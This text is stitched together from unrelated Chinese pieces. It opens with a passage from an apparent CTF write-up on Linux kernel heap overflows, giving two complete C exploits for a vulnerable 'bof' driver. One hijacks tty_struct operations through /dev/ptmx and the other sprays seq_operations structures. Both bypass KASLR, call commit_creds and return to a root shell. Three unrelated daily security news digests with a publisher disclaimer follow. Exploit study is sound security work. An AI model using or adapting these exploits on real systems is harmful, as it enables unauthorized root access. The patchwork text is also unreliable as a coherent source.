-nographic \  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \  -monitor /dev/null \  -s \  -cpu kvm64 \  -smp cores=1,threads=1 \  --nographic 利用思路 在 /dev 下有一个伪终端设备 ptmx ，在我们打开这个设备时内核中会创建一个 tty_struct 结构体， ptmx_open (drivers/tty/pty.c) -> tty_init_dev (drivers/tty/tty_io.c)  -> alloc_tty_struct (drivers/tty/tty_io.c) tty 的结构体 tty_srtuct 定义在 linux/tty.h 中。其中 ops 项（64bit 下位于 结构体偏移 0x18 处）指向一个存放 tty 相关操作函数的函数指针的结构体 tty_operations 。其魔数为0x5401 // sizeof(struct tty_struct) == 0x2e0 /* tty magic number */ #define TTY_MAGIC       0x5401 struct tty_struct {   ... const struct tty_operations *ops; ... } struct tty_operations {   ... int (*ioctl)(struct tty_struct *tty,    unsigned int cmd, unsigned long arg);   ... }; 使用 tty 设备的前提是挂载了 ptmx 设备。 mkdir /dev/pts mount -t devpts none /dev/pts chmod 777 /dev/ptmx 所以我们只需要劫持 tty_ops 的某个可触发的操作即可，将其劫持到 get_root 函数处。 exp #include <sys/wait.h> #include <assert.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <unistd.h> #define BOF_MALLOC 5 #define BOF_FREE 7 #define BOF_EDIT 8 #define BOF_READ 9 void *(*commit_creds)(void *) = (void *) 0xffffffff810a1340; size_t init_cred = 0xFFFFFFFF81E496C0; void get_shell() {    system("/bin/sh"); } unsigned long user_cs, user_rflags, user_rsp, user_ss, user_rip = (size_t) get_shell; void save_status() {    __asm__(        "mov user_cs, cs;"        "mov user_ss, ss;"        "mov user_rsp, rsp;"        "pushf;"        "pop user_rflags;"   );    puts("[*]status has been saved."); } size_t kernel_offset; void get_root() {    // 通过栈上残留地址来绕过 KASLR    __asm__(        "mov rbx, [rsp + 8];"        "mov kernel_offset, rbx;"   );    kernel_offset -= 0xffffffff814f604f;    commit_creds = (void *) ((size_t) commit_creds + kernel_offset);    init_cred = (void *) ((size_t) init_cred + kernel_offset);    commit_creds(init_cred);    __asm__(        "swapgs;"        "push user_ss;"        "push user_rsp;"        "push user_rflags;"        "push user_cs;"        "push user_rip;"        "iretq;"   ); } struct param {    size_t len;    // 内容长度    char *buf;     // 用户态缓冲区地址    long long idx; // 表示 ptr 数组的 索引 }; int main(int argc, char const *argv[]) {    save_status();    size_t fake_tty_ops[] = {        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,        get_root   };    // len buf idx    struct param p = {0x2e0, malloc(0x2e0), 0};    printf("[*]p_addr==>%p\n", &p);    int bof_fd = open("/dev/bof", O_RDWR);    p.len = 0x2e0;    ioctl(bof_fd, BOF_MALLOC, &p);    memset(p.buf, '\xff', 0x2e0);    ioctl(bof_fd, BOF_EDIT, &p);    ioctl(bof_fd, BOF_FREE, &p);    int ptmx_fd = open("/dev/ptmx", O_RDWR);    p.len = 0x20;    ioctl(bof_fd, BOF_READ, &p);    printf("[*]magic_code==> %p -- %p\n", &p.buf[0], *(size_t *)&p.buf[0]);    printf("[*]tty____ops==> %p -- %p\n", &p.buf[0x18], *(size_t *)&p.buf[0x18]);    *(size_t *)&p.buf[0x18] = &fake_tty_ops;    ioctl(bof_fd, BOF_EDIT, &p);    ioctl(ptmx_fd, 0, 0);     return 0; } seq_operations 劫持 boot.sh #!/bin/bash qemu-system-x86_64 \  -initrd rootfs.img \  -kernel bzImage \  -m 512M \  -nographic \  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \  -monitor /dev/null \  -s \  -cpu kvm64 \  -smp cores=1,threads=1 \  --nographic 利用思路 seq_operations 结构如下，该结构在打开 /proc/self/stat 时从 kmalloc-32 中分配。 struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); }; 调用读取 stat 文件时会调用 seq_operations 的 start 函数指针。 ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos) { struct seq_file *m = file->private_data; ... p = m->op->start(m, &pos); ... 当我们在 heap_bof 驱动分配 0x20 大小的 object 后打开大量的 stat 文件就有很大概率在 heap_bof 分配的 object 的溢出范围内存在 seq_operations 结构体。由于这道题关闭了 SMEP，SMAP 和 KPTI 保护，因此我们可以覆盖 start 函数指针为用户空间的提权代码实现提权。至于 KASLR 可以通过泄露栈上的数据绕过。 exp #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/ioctl.h> #include <unistd.h> #include <string.h> struct param {    size_t len;       // 内容长度    char *buf;        // 用户态缓冲区地址    long long idx;// 表示 ptr 数组的 索引 }; const int SEQ_NUM = 0x200; const int DATA_SIZE = 0x20 * 8; #define BOF_MALLOC 5 #define BOF_FREE 7 #define BOF_EDIT 8 #define BOF_READ 9 void get_shell() {    system("/bin/sh"); } size_t user_cs, user_rflags, user_sp, user_ss, user_rip = (size_t) get_shell; void save_status() {    __asm__("mov user_cs, cs;"            "mov user_ss, ss;"            "mov user_sp, rsp;"            "pushf;"            "pop user_rflags;");    puts("[*] status has been saved."); } void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340; void *init_cred = (void *) 0xFFFFFFFF81E496C0; size_t kernel_offset; void get_root() {    // 通过栈上的残留值绕过KASLR。    __asm__(        "mov rax, [rsp + 8];"        "mov kernel_offset, rax;"   );    kernel_offset -= 0xffffffff81229378;    commit_creds = (void *) ((size_t) commit_creds + kernel_offset);    init_cred = (void *) ((size_t) init_cred + kernel_offset);    commit_creds(init_cred);    __asm__(        "swapgs;"        "push user_ss;"        "push user_sp;"        "push user_rflags;"        "push user_cs;"        "push user_rip;"        "iretq;"   ); } int main() {    save_status();    int bof_fd = open("dev/bof", O_RDWR);    if (bof_fd < 0) {        puts("[-] Failed to open bof.");        exit(-1);   }    struct param p = {0x20, malloc(0x20), 0};    for (int i = 0; i < 0x40; i++) {        ioctl(bof_fd, BOF_MALLOC, &p);   }    memset(p.buf, '\xff', p.len);    ioctl(bof_fd, BOF_EDIT, &p);    // 大量喷洒 seq_ops 结构体。    int seq_fd[SEQ_NUM];    for (int i = 0; i < SEQ_NUM; i++) {        seq_fd[i] = open("/proc/self/stat", O_RDONLY);        if (seq_fd[i] < 0) {            puts("[-] Failed to open stat.");       }   }    puts("[*] seq_operations spray finished.");    // 通过溢出，将附近 seq_ops 的指针修改为 get_root地址。    p.len = DATA_SIZE;    p.buf = malloc(DATA_SIZE);    p.idx = 0;    for (int i = 0; i < DATA_SIZE; i += sizeof(size_t)) {        *(size_t *) &p.buf[i] = (size_t) get_root;   }    ioctl(bof_fd, BOF_EDIT, &p);    puts("[*] Heap overflow finished.");    for (int i = 0; i < SEQ_NUM; i++) {        read(seq_fd[i], p.buf, 1);   }    return 0; }

1、Astaroth银行木马对巴西政府机构等发起攻击 https://www.trendmicro.com/en_us/research/24/j/water-makara-uses-obfuscated-javascript-in-spear-phishing-campai.html Astaroth银行木马（又称Guildma）通过一次新型定向钓鱼攻击重返巴西，主要针对制造业、零售业和政府机构。攻击者伪装成官方税务文件，以个人所得税申报的紧迫性为诱饵，诱使用户下载恶意软件。受害者通过下载一个包含受感染Windows快捷方式的ZIP文件启动攻击，这一文件利用合法的mshta.exe执行混淆的JavaScript指令，并连接到命令与控制服务器（ 2、超200款恶意应用侵入Google Play下载量达800万次 https://www.zscaler.com/blogs/security-research/new-threatlabz-report-mobile-remains-top-threat-vector-111-spyware-growth 研究人员发现，Google Play在2023年6月至2024年4月期间分发了200多款恶意应用，总下载量接近800万次。这些应用多属于工具、个性化、摄影等类别，常见的恶意软件家族包括窃取信息的Joker、展示广告的Adware，以及Facebook凭证窃取器Facestealer等。尽管Google拥有检测机制，攻击者仍通过应用更新或服务器加载绕过验 3、GitHub修复关键漏洞防止未经授权访问企业服务器实例 https://docs.github.com/en/enterprise-server@3.14/admin/release-notes GitHub近日发布了安全更新，修复了多个影响GitHub Enterprise Server (GHES) 的漏洞，其中包括一个严重漏洞CVE-2024-9487，CVSS评分为9.5分。该漏洞允许攻击者通过绕过SAML单点登录（SSO）认证机制，未经授权访问企业实例。该问题源于加密断言特性中加密签名验证不当。此次更新还修补了其他漏洞，包括信息泄露漏洞CVE-2024-9539及管理控制台中的敏感数据曝光问题。受影响的企业服务器用户被强烈建议立即更新到 4、CISA警告SolarWinds帮助台软件漏洞正被积极利用 https://www.cisa.gov/news-events/alerts/2024/10/15/cisa-adds-three-known-exploited-vulnerabilities-catalog 美国网络安全与基础设施安全局（CISA）将SolarWinds Web Help Desk (WHD) 软件的关键漏洞CVE-2024-28987加入已知被利用漏洞目录（KEV）。该漏洞评分为9.1，涉及硬编码凭据，允许未经身份验证的远程攻击者访问内部功能并修改数据。研究显示，攻击者可读取和修改帮助台工单中的敏感信息，如密码重置请求和共享服务账户凭据。尽管尚不清楚具体攻击者，联邦机 5、F5 BIG-IP 更新补丁高严重性特权提升漏洞 https://www.securityweek.com/f5-big-ip-updates-patch-high-severity-elevation-of-privilege-vulnerability/ F5 已针对 BIG-IP 中的高严重性权限提升漏洞和 BIG-IQ 中的中度严重性错误发布了补丁。 6、巴西警方逮捕臭名昭著的黑客 USDoD https://www.securityweek.com/brazilian-police-arrest-notorious-hacker-usdod/ 巴西联邦警察周三宣布逮捕了一名黑客，其描述与臭名昭著的泄密者 USDoD 的描述相符。USDoD（又名 EquationCorp）泄露了从主要组织窃取的大量信息。他的目标包括 FBI 的InfraGard门户、空客、 TransUnion 、国家公共数据 (NPD)和CrowdStrike。 7、Apache Solr 中的关键身份验证绕过漏洞已修复 https://securityonline.info/cve-2024-45216-critical-authentication-bypass-vulnerability-patched-in-apache-solr/ Apache Solr 是一个高度可靠且可扩展的搜索平台，为世界上一些最大的互联网站点的搜索功能提供支持，它已成为两个新披露的安全漏洞 CVE-2024-45216 和 CVE-2024-45217 的目标。这些漏洞给运行受影响的 Solr 实例的组织带来严重风险，可能导致身份验证绕过和未经授权的代码执行。 8、英国政府推出人工智能安全计划以应对 Deepfakes https://www.infosecurity-magazine.com/news/uk-government-launches-ai-safety 英国政府宣布了一项新的人工智能安全研究计划，希望通过提高对深度造假、错误信息、网络攻击和其他人工智能威胁的抵御能力来加速该技术的采用。 9、谷歌：2023年被利用的漏洞70%是0Day https://www.freebuf.com/news/413018.html 谷歌Mandiant安全分析师警告称，攻击者发现和利用软件零日漏洞的能力增长已成为一个令人担忧的新趋势。在2023年披露的138个被积极利用的漏洞中，有97个（70.3%）是0 Day漏洞，意味着大量漏洞在被供应商知道或修补之前就被攻击者用来实施攻击。 10、中国网络空间安全协会：建议对英特尔启动网络安全审查 https://www.secrss.com/articles/71274 漏洞频发、故障率高，应系统排查英特尔产品网络安全风险。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、朝鲜黑客推出Linux版FASTCash窃取ATM资金 https://doubleagent.net/fastcash-for-linux/ 朝鲜黑客组织“Hidden Cobra”正在使用一种新的Linux版本的FASTCash恶意软件，攻击金融机构的支付交换系统，实施未经授权的现金提取。此前该恶意软件的目标是Windows和IBM AIX系统，但最新的研究显示，FASTCash的新变种专门针对Ubuntu 22.04 LTS系统。该恶意软件通过修改支付系统中的ISO8583交易消息，将“拒绝”交易改为“批准”，使黑客得以从ATM中非法提取资金。FASTCash自2016年首次被发现以来，已经在30多个国家造成数千万美元的损失。 2、Jetpack插件修复重大漏洞影响2700万WordPress网站 https://wordpress.org/news/2024/10/secure-custom-fields/ Jetpack插件的维护团队发布了安全更新，修复了一个关键漏洞，该漏洞允许登录用户访问其他访客提交的表单。Jetpack由WordPress母公司Automattic开发，是一款集成安全性、性能和流量增长工具的插件，现被用于2700万个网站。此漏洞存在于Jetpack的联系表单功能中，自2016年发布的版本3.9.9起一直未被修复。Jetpack团队与WordPress.org安全团队密切合作，已自动为安装该插件的网站更新至安全版本。尽管目前没有证据表明该漏洞已被利用，但随着该问 3、思科调查黑客在论坛出售被盗资料事件 https://www.bleepingcomputer.com/news/security/cisco-investigates-breach-after-stolen-data-for-sale-on-hacking-forum/ 思科正在调查一起数据泄露事件，黑客声称在10月6日入侵了该公司，并在黑客论坛上出售大量被盗的开发者数据。根据黑客“IntelBroker”的帖子，泄露的数据包括GitHub项目、GitLab项目、源代码、硬编码凭证、客户信息、API令牌、SSL证书等敏感资料。IntelBroker还分享了部分数据样本，显示其中包含数据库、客户文档和客户管理门户的截图。思科发言 4、EDR Silencer红队工具遭黑客滥用 https://www.freebuf.com/news/412912.html 近日，研究人员在恶意事件中观察到一种名为 EDRSilencer 的红队操作工具。EDRSilencer 识别安全工具后会将其向管理控制台发出的警报变更为静音状态。网络安全公司 Trend Micro 的研究人员说，攻击者正试图在攻击中整合 EDRSilencer，以逃避检测。 5、2024年全球数据贩卖、勒索攻击等黑产事件大幅上升 https://www.freebuf.com/articles/neopoints/412920.html 据国内网安公司威胁猎人发布的《2024年上半年数据泄露风险态势报告》显示，2024年上半年监测有效的数据泄露事件较2023年下半年增长59.58%；监测到涉及真实数据泄露事件的黑产团伙较2023年下半年增长近一倍。 6、OpenAI 确认黑客使用 ChatGPT 编写恶意软件 https://www.bleepingcomputer.com/news/security/openai-confirms-threat-actors-use-chatgpt-to-write-malware/ OpenAI 已经破坏了 20 多项恶意网络操作，滥用其人工智能聊天机器人 ChatGPT 来调试和开发恶意软件、传播错误信息、逃避检测和进行鱼叉式网络钓鱼攻击。 7、Nvidia NeMo Gen-AI 框架存在代码执行、数据篡改漏洞 https://www.securityweek.com/code-execution-data-tampering-flaw-in-nvidia-nemo-gen-ai-framework/ 人工智能技术巨头 Nvidia 指出其 NeMo 生成人工智能框架存在重大安全缺陷，警告恶意黑客可以利用该平台执行代码并篡改系统上的数据。 8、VMware 修复了HCX 平台中的高危 SQL 注入漏洞 https://www.securityweek.com/vmware-patches-high-severity-sql-injection-flaw-in-hcx-platform/ VMWare 周三呼吁紧急关注困扰其面向企业的 HCX 应用程序移动平台用户的一个关键远程代码执行缺陷。该漏洞标记为CVE-2024-38814 ，CVSS 严重性评分为 8.8/10，允许具有非管理员权限的攻击者在 HCX 管理器上执行远程代码。 9、Android 15 推出新防盗、应用程序保护功能 https://www.securityweek.com/android-15-rolling-out-with-new-theft-application-protection-features/ 谷歌周二开始向 Pixel 设备交付 Android 15，并进行了大量安全改进，包括防盗保护和敏感应用程序的私人空间。 10、FIDO 联盟起草新协议以简化跨不同平台的密钥传输 https://thehackernews.com/2024/10/fido-alliance-drafts-new-protocol-to.html FIDO 联盟表示，随着超过 120 亿个在线帐户可以通过无密码登录方法进行访问，该联盟正在努力使密钥和其他凭证更容易在不同提供商之间导出，并提高凭证提供商的互操作性。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、TrickMo银行木马通过假锁屏窃取Android用户PIN码 https://www.zimperium.com/blog/expanding-the-investigation-deep-dive-into-latest-trickmo-samples/ 据研究人员报道，TrickMo Android银行木马的40个新变种已被发现，其核心功能之一是通过伪造锁屏界面窃取用户的Android PIN码。该恶意软件利用Accessibility Service权限自动获得更多系统控制权限，并使用钓鱼登录页面盗取银行账户凭据。此外，TrickMo通过虚假锁屏诱导用户输入解锁图案或PIN码，攻击者随后通过后台脚本获取该信息并进行设备解锁，实施欺诈操作。研究人员 2、开源生态中供应链攻击风险激增 https://checkmarx.com/blog/this-new-supply-chain-attack-technique-can-trojanize-all-your-cli-commands/ 研究人员发现，攻击者可通过多个编程生态系统中的切入点，发起软件供应链攻击。这些切入点，包括PyPI、npm、Ruby Gems、NuGet等，能够在开发者执行特定命令时执行恶意代码，绕过传统安全防护。研究表明，攻击者通过冒充常用命令和插件，如aws、docker等，窃取敏感信息，或使用“命令包装”等隐蔽手段，以执行恶意代码且不被察觉。此外，恶意插件和扩展也能篡改代码行为。报告指出，传统安全 3、荷兰警方联合行动摧毁暗网市场Bohemia/Cannabia https://securityaffairs.com/169743/cyber-crime/dutch-police-dismantled-dark-web-market-bohemia-cannabia.html 荷兰警方宣布成功关闭了暗网市场Bohemia和Cannabia，这两个平台长期以来是非法商品、毒品和网络犯罪服务的主要交易场所。此次行动得到了英、美、爱尔兰等国执法部门的协助，自2022年底开始展开调查。Bohemia市场在2023年由于服务中断停止运营，交易量每月达67000笔，9月的营业额高达1200万欧元。警方调查发现，仅荷兰就进行了至少170万欧元的交易。多名管理员已被 4、思科再遭数据泄露，数家大厂跟着遭殃 https://www.freebuf.com/news/412837.html 据Hackread研究团队发现，名为IntelBroker的黑客声称已从网络巨头思科窃取了数据，并关联到一些知名公司的源代码，包括微软、亚马逊、AT&T等，相关数据已在黑客论坛Breach Forums 上出售。 5、为避免黑客入侵，荷兰政府将更换该国交通信号灯 https://cybernews.com/news/dutch-government-will-replace-hackable-traffic-lights/ 在研究人员发现一个很容易被威胁行为者利用的严重漏洞后，荷兰政府将更换数千个道路交通信号灯。 6、Windows将新增安全功能以限制管理员权限 https://www.darkreading.com/endpoint-security/windows-preview-limit-administrator-privileges 微软在其最新的 Windows 预览版中引入了一项重大的安全升级，旨在锁定本地管理员权限，防止威胁行为者轻松提升权限并限制横向移动。 7、超87000台 FortiOS 设备易受远程代码执行攻击 https://cybersecuritynews.com/87000-fortios-rce-attacks/ 该漏洞被确定为 CVE-2024-23113，影响了 FortiOS、FortiProxy、FortiPAM 和 FortiWeb 产品的多个版本。 8、Splunk修补关键漏洞，包括远程代码执行漏洞 https://www.anquanke.com/post/id/300899 数据分析和安全监控平台 Splunk 发布了一系列安全更新，以解决 Splunk Enterprise 和 Splunk Cloud Platform 中的多个漏洞。这些漏洞的严重程度不一，有些可实现远程代码执行（RCE），有些则允许低权限用户访问敏感信息。 9、中国研究人员发现量子计算机破解RSA加密已具备现实攻击能力 https://www.secrss.com/articles/71231 该研究利用D-Wave量子计算机成功分解了22位比特整数2269753，相比过往成果大幅提升了现实威胁性；该研究认为，量子退火对RSA的攻击效果大幅超过其他量子计算技术，并可以推广至其他公钥密码和对称密码的安全性评估。 10、研究人员揭露严重Zendesk邮件欺骗漏洞获得5W美金赏金 https://www.anquanke.com/post/id/300891 安全研究员 Daniel 通过详细分析发现，Zendesk 的电子邮件管理系统中存在一个严重漏洞，该漏洞被追踪为 CVE-2024-49193。该漏洞使使用 Zendesk 的公司面临危险的电子邮件欺骗漏洞，该漏洞允许未经授权访问敏感的支持票单历史记录。尽管 Zendesk 最初对该报告不予置评，但问题的严重性已昭然若揭，迫使企业立即采取行动。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、网络攻击重创伊朗政府及核设施致信息被窃取 https://www.news18.com/world/iran-hit-by-heavy-cyberattacks-targeting-its-nuclear-facilities-amid-middle-east-tensions-9083699.html 随着中东局势升级，伊朗遭遇大规模网络攻击，重创政府部门并波及核设施。此次攻击发生在10月1日伊朗发射导弹后，以色列承诺作出回应的背景下。伊朗前网络空间最高委员会秘书阿布哈桑·菲鲁扎巴迪对外证实，几乎所有政府部门，包括司法、立法和行政机关，都受到了网络攻击，敏感信息被窃取。此外，伊朗的核设施、燃料分配、交通运输、港口等多个关键基础设施 2、GitHub与Telegram机器人被滥用推动新一波钓鱼攻击 https://cofense.com/blog/tax-extension-malware-campaign 近期观察到一场针对保险和金融行业的新型钓鱼攻击，利用GitHub链接绕过安全措施并投放Remcos远程访问木马（RAT）。攻击者通过合法的GitHub仓库，如税务软件UsTaxes及HMRC等上传恶意文件，诱骗用户下载。研y究显示，攻击者在GitHub提交问题并上传恶意文件后，立即删除评论，但文件链接仍然有效。此类攻击通过自动化工具和互动聊天机器人提高了欺诈效率，扩大了受害范围。 3、Game Freak遭遇黑客攻击开发数据大规模泄露 https://hackread.com/teraleak-pokemon-developer-game-freak-hacked-data-leak/ 著名游戏开发商Game Freak遭遇了大规模黑客攻击，泄漏事件被称为“Teraleak”，暴露了近1TB的敏感数据。泄露内容包括宝可梦系列的源代码、未发布的游戏、取消的项目以及未来的开发计划，甚至影响了2600多名员工的个人信息。此次泄露的文件已在社交媒体和论坛上传播，引发了广泛讨论。泄露内容涵盖从早期宝可梦游戏到未来的“宝可梦传奇：Z-A和第十代游戏“Gaia”等机密项目。尽管Game Freak已确认部分数据s泄露，但尚无法确定所有内 4、国产操作系统应急响应手册正式发布 https://www.secrss.com/articles/71084 手册旨在有效整合资源，规范指导用户单位开展安全风险排查以及日常安全运维，有效应对网络安全事件的预警和处置，确保及时有效地控制、减轻和消除网络安全事件造成的社会危害和损失。 5、Underground勒索团伙声称对卡西欧发起网络攻击 https://www.4hou.com/posts/mkEp 目前，Underground 勒索软件组织已将卡西欧添加到其暗网勒索门户网站上，泄露了据称从这家日本公司窃取的大量数据。 6、黑客滥用F5 BIG-IP cookie来映射内部服务器 https://www.bleepingcomputer.com/news/security/cisa-hackers-abuse-f5-big-ip-cookies-to-map-internal-servers/ CISA警告称，已观察到威胁行为者滥用未加密的持久性F5 BIG-IP cookie来识别和攻击目标网络上的其他内部设备。 7、Gryphon Healthcare和Tri-City医疗中心披露重大数据泄露事件 https://www.securityweek.com/gryphon-healthcare-tri-city-medical-center-disclose-significant-data-breaches/ Gryphon Healthcare 和 Tri-City Medical Center 披露了总共影响超过 500,000 人的数据泄露事件。 8、Tor 浏览器修复了 Firefox 零日漏洞 https://www.securityweek.com/recent-firefox-zero-day-exploited-against-tor-browser-users/ Tor 浏览器版本 13.5.7 正在推出，并针对 Firefox 最近解决的一个被利用的零日漏洞提供了补丁。 9、HashiCorp 披露其 Vault 秘密管理平台存在漏洞 https://www.anquanke.com/post/id/300825 HashiCorp 发布了一份安全公告，披露了其 Vault 秘密管理平台中的一个漏洞，该漏洞可能允许攻击者将权限升级到高度敏感的根策略。 10、微软计划在未来的Windows服务器版中弃用PPTP和L2TP https://www.anquanke.com/post/id/300842 微软在即将推出的 Windows Server 版本中淘汰了老旧的点对点隧道协议 (PPTP) 和二层隧道协议 (L2TP)，从而在增强 VPN 安全性方面迈出了重要一步。虽然这些协议长期以来一直是 Windows VPN 的组成部分，但微软鼓励用户过渡到更现代、更安全的替代协议： 安全套接字隧道协议 (SSTP) 和 Internet 密钥交换版本 2 (IKEv2)。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。